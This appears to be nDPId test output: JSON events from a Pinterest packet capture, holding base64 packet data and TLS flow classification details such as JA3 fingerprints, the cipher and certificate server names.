+00456{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":202238,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWcPSVr2SUKdcjgBALMCrlAAABAQgKwrkiENZiICE="} +02321{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":204384,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWcPSVr2SUKdcjgBgLMFN6AAABAQgKwrkiEtZiICEWAwMAUgIAAE4DAx1SUutH4nkF2V50cIzJP5wybxxXZwGe87jKs8CNQr2XAMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMRUAsAEUwAEUkADI4wggyKMIILcqADAgECAhAEIQzFo4YzQYum6ENydBKbMA0GCSqGSIb3DQEBCwUAMHAxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xLzAtBgNVBAMTJkRpZ2lDZXJ0IFNIQTIgSGlnaCBBc3N1cmFuY2UgU2VydmVyIENBMB4XDTIwMDcxNjAwMDAwMFoXDTIxMDgwNDEyMDAwMFowbjELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAUBgNVBAcTDVNhbiBGcmFuY2lzY28xGDAWBgNVBAoTD1BpbnRlcmVzdCwgSW5jLjEYMBYGA1UEAwwPKi5waW50ZXJlc3QuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAympd0SK2ykpSjuxd34nlkvFt79NjfrXrAqDT6H12U3P3i5RnawC2sGpT\/6L8igmc\/3X18Sc5REbcl7J4nDi75dUMNjYCoDdmCdIylz1v26Y6l3nJdLoUK0cINwgIFCmAGRr7DkrCmqhyvOhxNvzAbzuylSkTgWtjPSRAjjN\/2bAkPY93298nb5tvOK190URc4dJHb\/5bPTOiylnGIQsqMvnw6scjIuGkVLK3DAPguvS5TJIlmKKXqtBe0m9S16b7mph7Txl1AdyMc2IUs6GwZe6AkN5YaDCarW+ZpawPrz0IIXFUfUFL4rsqojOND\/O6fhGo8uaOKRrRqD41672WawIDAQABo4IJIDCCCRwwHwYDVR0jBBgwFoAUUWj\/kK8CB3U8zNllZGKiErhZcjswHQYDVR0OBBYEFA2E0pErXPYSSEiu6j6AldQTTOO9MIIGSgYDVR0RBIIGQTCCBj2CDyoucGludGVyZXN0LmNvbYIMcGludGVyZXN0Lmlugg4qLnBpbnRlcmVzdC5jb4IMcGludGVyZXN0LmNvgg4qLnBpbnRlcmVzdC5wZYIMcGludGVyZXN0LnBlgg4qLnBpbnRlcmVzdC5iZYIMcGludGVyZXN0LmJlgg4qLnBpbnRlcmVzdC5pboIOKi5waW50ZXJlc3QucGiCDioucGludGVyZXN0LmVjggxwaW50ZXJlc3QucGiCDioucGludGVyZXN0LmNsggwqLnBpbmltZy5jb22CDioucGludGVyZXN0LmVzggxwaW50ZXJlc3QuZXOCDioucGludGVyZXN0Lm56ggxwaW50ZXJlc3QubnqCDHBpbnRlcmVzdC5lY4IMcGludGVyZXN0Lmh1ggxwaW50ZXJlc3QuY2GCDHBpbnRlcmVzdC5pZIIOKi5waW50ZXJlc3QubmyCDHBpbnRlcmVzdC5ubIIOKi5waW50ZXJlc3QudHeCDHBpbnRlcmVzdC50d4IOKi5waW50ZXJlc3QudGiCDHBpbnRlcmVzdC50aIIOKi5waW50ZXJlc3QuaWSCDioucGludGVyZXN0LnZugg4qLnBpbnRlcmVzdC5odYIMcGludGVyZXN0LnZugg4qLnBpbnRlcmVzdC51a4IMcGludGVyZXN0LnVrgg4qLnBpbnRlcmVzdC5ydYIMcGludGVyZXN0LnJ1gg4qLnBpbnRlcmVzdC5pdIIMcGludGVyZXN0Lml0ggxwaW50ZXJlc3QuZnKCDHBpbnRlcmVzdC5jbA=="} +00882{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":104,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":6,"flow_first_seen":1605289714142,"flow_last_seen":1605289714204,"flow_tot_l4_data_len":2113,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":352,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38512,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s.pinimg.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02314{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":204385,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWcPSVtNCUKdcjgBgLMNPZAAABAQgKwrkiEtZiICGCDioucGludGVyZXN0LmZygg4qLnBpbnRlcmVzdC5qcIIOKi5waW50ZXJlc3QuY2GCDXBpbnRlcmVzdC5jb22CBnBpbi5pdIIOKi5waW50ZXJlc3Quc2WCDioucGludGVyZXN0LnB0gg4qLnBpbnRlcmVzdC5teIIOKi5waW50ZXJlc3Qua3KCDioucGludGVyZXN0LmllghVwaW50ZXJlc3QuZW5naW5lZXJpbmeCDioucGludGVyZXN0LmRrgg4qLnBpbnRlcmVzdC5kZYIOKi5waW50ZXJlc3QuY2iCDioucGludGVyZXN0LmF0ghMqLnBpbnRlcmVzdG1haWwuY29tghcqLnBpbnRlcmVzdC5lbmdpbmVlcmluZ4IQKi5waW50ZXJlc3QuaW5mb4IOcGludGVyZXN0LmluZm+CCnBpbmltZy5jb22CEXBpbnRlcmVzdG1haWwuY29tggxwaW50ZXJlc3QuZGWCDHBpbnRlcmVzdC5ka4IMcGludGVyZXN0LmllggxwaW50ZXJlc3QuanCCDHBpbnRlcmVzdC5rcoIMcGludGVyZXN0Lm14ggxwaW50ZXJlc3QucHSCDHBpbnRlcmVzdC5zZYIMcGludGVyZXN0LmF0ggxwaW50ZXJlc3QuY2iCD3BpbnRlcmVzdC5jby5hdIISKi5waW50ZXJlc3QuY29tLnV5gg9waW50ZXJlc3QuY28ua3KCD3BpbnRlcmVzdC5jby51a4ISKi5waW50ZXJlc3QuY29tLmF1ghBwaW50ZXJlc3QuY29tLmF1ghBwaW50ZXJlc3QuY29tLm14ghEqLnBpbnRlcmVzdC5jby5ueoIPcGludGVyZXN0LmNvLm56ghBwaW50ZXJlc3QuY29tLnBlghBwaW50ZXJlc3QuY29tLnV5ghEqLnBpbnRlcmVzdC5jby5pboIQcGludGVyZXN0LmNvbS5weYISKi5waW50ZXJlc3QuY29tLnB5ghBwaW50ZXJlc3QuY29tLmJvghIqLnBpbnRlcmVzdC5jb20uYm+CEHBpbnRlcmVzdC5jb20uZWOCEioucGludGVyZXN0LmNvbS5lY4IPcGludGVyZXN0LmNvLmlughIqLnBpbnRlcmVzdC5jb20ucGWCEioucGludGVyZXN0LmNvbS5teIIQcGludGVyZXN0LmNvbS52boISKi5waW50ZXJlc3QuY29tLnZughEqLnBpbnRlcmVzdC5jby51a4IRKi5waW50ZXJlc3QuY28ua3KCESoucGludGVyZXN0LmNvLmF0ghcqLnRlc3RpbmcucGludGVyZXN0LmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMHUGA1UdHwRuMGwwNKAyoDCGLmh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNi5jcmwwNKAyoDCGLmh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNi5jcmwwTAYDVR0gBEUwQzA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAIBgZngQwBAgIwgYMGCCsGAQUFBwEBBHcwdTAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tME0GCCsGAQUFBzAChkFodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEySGlnaEFzc3VyYW5jZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAg=="} +02329{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":204386,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWcPSVujyUKdcjgBgLMCGXAAABAQgKwrkiEtZiICEwADCCAQIGCisGAQQB1nkCBAIEgfMEgfAA7gB1APZclC\/RdzAiFFQYCDCUVo7jTRMZM7\/fDC8gC8xO8WTjAAABc1XlLKoAAAQDAEYwRAIgRaKv8aGxAlWYWbVHO27QuYaMVjkla1sqJ9KYUXrictoCIGZLCw9wt4OYbNbjf38Sd0HcVnjDAvQiSaQp0SpzApBKAHUAXNxDkv7mq0VEsV6a1FbmEDf71fpH3KFzlLJe5vbHDsoAAAFzVeUs2gAABAMARjBEAiAuDr91sHLHbeq6ULmtTdDSNqnLoTLlcYe7\/kPCy2gn4QIgA+cib48hqVMfgDRA7rfZqbp5jNTNYzXGXOFA2AkCmT0wDQYJKoZIhvcNAQELBQADggEBABGiFYAkFnu8UzB05yYuu6ORpPiRus9re\/ZboVIXptvL0pkUrcvgfZi2w16yu5GxgOd3lO3AU5Kt\/ZpKFFCZxh9BN0EmZMVIOWL3InBaoMAPWM5FvBFhZR3ZzzTQgAomjhPGPc\/Ym2irB3KsHSFm9PXsfz\/uUho1KBgS5\/dxVaPUlW0FzOPQ352X1K5D48AsZ8gSLatYycUWqitEioqj+tbkxKSmohhxE9FIu2mZwKLfa5Jwerk4r+kkfHZWeU64M8ryNPfHAumKj4tuY9ExBO7Y4e2x3QcattWNF+nxQ0vhygeFbqK9scET+ozh8sLxcKZ6BJWetov0hn7Yza\/HLf0ABLUwggSxMIIDmaADAgECAhAE4eek3Fzy823AK0K4XRWfMA0GCSqGSIb3DQEBCwUAMGwxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xKzApBgNVBAMTIkRpZ2lDZXJ0IEhpZ2ggQXNzdXJhbmNlIEVWIFJvb3QgQ0EwHhcNMTMxMDIyMTIwMDAwWhcNMjgxMDIyMTIwMDAwWjBwMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMS8wLQYDVQQDEyZEaWdpQ2VydCBTSEEyIEhpZ2ggQXNzdXJhbmNlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALbgL8IkBshtBF\/X7wpkBrJ9IiZlFq5CQJvO3J+fdgc+wzBVhxm5T5QOWpQfVVa0wgIqr9CY7gtA18TQO3LIFJ7vkLERqa7SyLhDOtkLC9XVlfVAr8gd7U2cX1e3hlBomfWK2tLHBR+ol8ncpLGChC3GraWcxxmCpoUPXkRYKjeP\/TXxCwgnMlr1u4uepL1R0Cfi3TtCM6MFKMS7KMyarCsjDXjGe+ZecbdKPgj7gbcWFqGdIxJN5deSCKx1pJy6zReyHkQ1ZX9TJTnRHAqaYxsZknRoCjfCwlJIyzlaorbhXcHdoCC4IaKTJm8USiFBx+1tm\/JIL\/MD9aJoklMvXuMCAwEAAaOCAUkwggFFMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBLBgNVHR8ERDBCMECgPqA8hjpodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlRVZSb290Q0EuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovLw=="} +02022{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":204387,"pkt_caplen":1244,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1244,"pkt_l4_len":1190,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABKYGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWcPSVv6iUKdcjgBgLMD8TAAABAQgKwrkiEtZiICF3d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4EFgQUUWj\/kK8CB3U8zNllZGKiErhZcjswHwYDVR0jBBgwFoAUsT7DaQP4v0cB1JgmGggC72NkK8MwDQYJKoZIhvcNAQELBQADggEBABiKlYkD5m3fXPwdaOpKj4PWUS+Na0QWnqxj9dJubISZi6qBcYRb7TROsLd5kinMLYBq8I4g4Xmk\/gNHE+r1hspZcX30BJZr01lYPf7TMSVcGDiEo+afgv2MW5gxTs14nhr9hctJqvIni5ly\/D6q1UEL2tU2ob8cbkdJf17ZSHwD2f2LSaCYJkJA69aSEaRkCldUxPUd1gJea6zuxICaEnL6VpPX\/78whQYwvwt\/Tv9XBZ0k7YXDK\/umdaisLRbvfXknsuvCnQsH6qqF0wGjIChBWUMo0oHjqvbsezt3tkBigAVBRQHvFwY+3sAzm2fTYS5yh+Rp\/BIAV0AecPUeybQWAwMB3xYAAdsBAAHXMIIB0woBAKCCAcwwggHIBgkrBgEFBQcwAQEEggG5MIIBtTCBnqIWBBRRaP+QrwIHdTzM2WVkYqISuFlyOxgPMjAyMDExMDcxMTQ0NTJaMHMwcTBJMAkGBSsOAwIaBQAEFM8m9Rj6yX6PjLNC4BwvahCejl8KBBRRaP+QrwIHdTzM2WVkYqISuFlyOwIQBCEMxaOGM0GLpuhDcnQSm4AAGA8yMDIwMTEwNzExNDQ1MlqgERgPMjAyMDExMTQxMDU5NTJaMA0GCSqGSIb3DQEBCwUAA4IBAQCImBufb295Au2ju2lBCnSUKecQwVg9gkN6+y60LAZnbHKZEtr+Lda+UXfoK+l1YxaCqc9JLrsr4yUrVuWDwRxH0toRCTmGGUR1HNlQU5BSRgxjgPVigRozTEGDyIG2vw3NYmRMnZjbfP1UrZzwnVZzj5IoQyLzbQpl32Lbbr\/bdDDEwFgQMUn5Amod0fxMXoc8DZjVCIsQLbr0ZulxdcJ15CaK\/qvh8pChLhnvH1n\/AwOhcIVlVBpT9V0l7u\/uP1rrFrxi8PCEFwKJscSV3vQwFCEg2HYfT4kSA5rWhfeVL8L7H9ouqSE+9QM1pVNOcBI21XL+i4YVwGNzOS8NUvBEFgMDASwMAAEoAwAdIDhDuKfQD5VZcFqzy8YvX98HoCds2hyYuY6UiN3VmZFFCAQBACkQnneMUBfI4aYhm5KTWKiProhqlO\/LM1WMIu6QOSIaOwppzfjJvKPqDRWeNXdUQFYXreNFe1GAefL2GQpZ6oesnUciNgHaX\/1SVmjsge3oZFap4YP+9kgevN4dUpBbPWQ2b3krk9cQh2+BU7nCrKDX9nvjdWX5t9Nkcq1vPfHtefOf1srFkR27OdWy5XEmi7naE5ihqHS5xw1xLzP5thX\/yg7Qa4PvFsMJz0PPg6iA7Qh+N9eJCnzyl7Rq9AqH7sS1nTmTcINICoI6\/z8PddSDEM7Yr+C+RtrXjFbbj5aGv3O5WzEG\/5fN2WWFyQl7ip8MFLoDnyS7cwHiUEU0J04WAwMABA4AAAA="} +02661{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":107,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":9,"flow_first_seen":1605289714142,"flow_last_seen":1605289714204,"flow_tot_l4_data_len":6143,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":682,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38512,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s.pinimg.com","server_names":"*.pinterest.com,pinterest.in,*.pinterest.co,pinterest.co,*.pinterest.pe,pinterest.pe,*.pinterest.be,pinterest.be,*.pinterest.in,*.pinterest.ph,*.pinterest.ec,pinterest.ph,*.pinterest.cl,*.pinimg.com,*.pinterest.es,pinterest.es,*.pinterest.nz,pinterest.nz,pinterest.ec,pinterest.hu,pinterest.ca,pinterest.id,*.pinterest.nl,pinterest.nl,*.pinterest.tw,pinterest.tw,*.pinterest.th,pinterest.th,*.pinterest.id,*.pinterest.vn,*.pinterest.hu,pinterest.vn,*.pinterest.uk,pinterest.uk,*.pinterest.ru,pinterest.ru,*.pinterest.it,pinterest.it,pinterest.fr,pinterest.cl,*.pinterest.fr,*.pinterest.jp,*.pinterest.ca,pinterest.com,pin.it,*.pinterest.se,*.pinterest.pt,*.pinterest.mx,*.pinterest.kr,*.pinterest.ie,pinterest.engineering,*.pinterest.dk,*.pinterest.de,*.pinterest.ch,*.pinterest.at,*.pinterestmail.com,*.pinterest.engineering,*.pinterest.info,pinterest.info,pinimg.com,pinterestmail.com,pinterest.de,pinterest.dk,pinterest.ie,pinterest.jp,pinterest.kr,pinterest.mx,pinterest.pt,pinterest.se,pinterest.at,pinterest.ch,pinterest.co.at,*.pinterest.com.uy,pinterest.co.kr,pinterest.co.uk,*.pinterest.com.au,pinterest.com.au,pinterest.com.mx,*.pinterest.co.nz,pinterest.co.nz,pinterest.com.pe,pinterest.com.uy,*.pinterest.co.in,pinterest.com.py,*.pinterest.com.py,pinterest.com.bo,*.pinterest.com.bo,pinterest.com.ec,*.pinterest.com.ec,pinterest.co.in,*.pinterest.com.pe,*.pinterest.com.mx,pinterest.com.vn,*.pinterest.com.vn,*.pinterest.co.uk,*.pinterest.co.kr,*.pinterest.co.at,*.testing.pinterest.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 High Assurance Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Pinterest, Inc., CN=*.pinterest.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"1E:D0:5D:9F:0D:82:46:B3:60:5F:11:FB:64:D5:28:35:37:40:7A:4E"}} +00456{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":108,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":204411,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBvDPACAGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnABu5Qp1yP0lbTQgBAB9S6SAAABAQgK1mIgQcK5IhI="} +00456{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":204455,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBvDPACAGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnABu5Qp1yP0lbo8gBAB8CkrAAABAQgK1mIgQcK5IhI="} +00456{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":110,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":204464,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBvDPACAGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnABu5Qp1yP0lb+ogBAB6SPGAAABAQgK1mIgQcK5IhI="} +00456{"flow_id":4,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":111,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":204471,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBvDPACAGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnABu5Qp1yP0lcQugBAB4h9HAAABAQgK1mIgQcK5IhI="} +00456{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":112,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":211103,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWdpoDqe74hzJvgBALMMstAAABAQgKwrkiGNZiICk="} +00456{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":211558,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWdKO8RXfDRQiKgBALMIUUAAABAQgKwrkiGNZiICo="} +00585{"flow_id":4,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":114,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":211676,"pkt_caplen":179,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":179,"pkt_l4_len":125,"pkt":"qtsDr8lk5EKm5WPyht1gBvDPAH0GQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnABu5Qp1yP0lcQugBgB9T3MAAABAQgK1mIgSMK5IhIWAwMAJRAAACEggDAZblZrdFv1akGX3C72VLJCZjR6qBmvzAIpI2mZSyMUAwMAAQEWAwMAKAAAAAAAAAAAaALSFKNzYYbDZ3GF0qZ\/3\/ZVQsvPeJuRBbz6aHLkRqo="} +00594{"flow_id":4,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":115,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":211931,"pkt_caplen":185,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":185,"pkt_l4_len":131,"pkt":"qtsDr8lk5EKm5WPyht1gBvDPAIMGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnABu5Qp14D0lcQugBgB9Xa7AAABAQgK1mIgSMK5IhIXAwMAXgAAAAAAAAAB8uoyIiU813j1HTbfQTZni98Tz0EtIU3bAx3Nkh11TN++7KboqHQ+++Q6RBJ\/wQnpACX\/UPSXwOWKLCsXkucG32ZUQJiv+WlDxlP01c24u8Mz3\/X7GXE="} +00455{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":116,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":212167,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAzjWACAGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnIBu3hJrsYZEzjGgBEB+8piAAABAQgK1mIgScK5Ifs="} +00455{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":117,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":212253,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDFiUACAGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnQBu8NFCIqjvEV3gBEB+44pAAABAQgK1mIgScK5Ihg="} +00456{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":118,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":212316,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gC2HAACAGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnYBu\/iHMm+aA6nugBEB+9RBAAABAQgK1mIgScK5Ihg="} +00455{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":119,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":212373,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAI0zACAGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElngBu4oDFWvprOc6gBEB+9LvAAABAQgK1mIgScK5Ifs="} +00455{"flow_id":9,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":212431,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAoQZACAGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnoBuzJfOMpQqoALgBEB+wdlAAABAQgK1mIgScK5Ifs="} 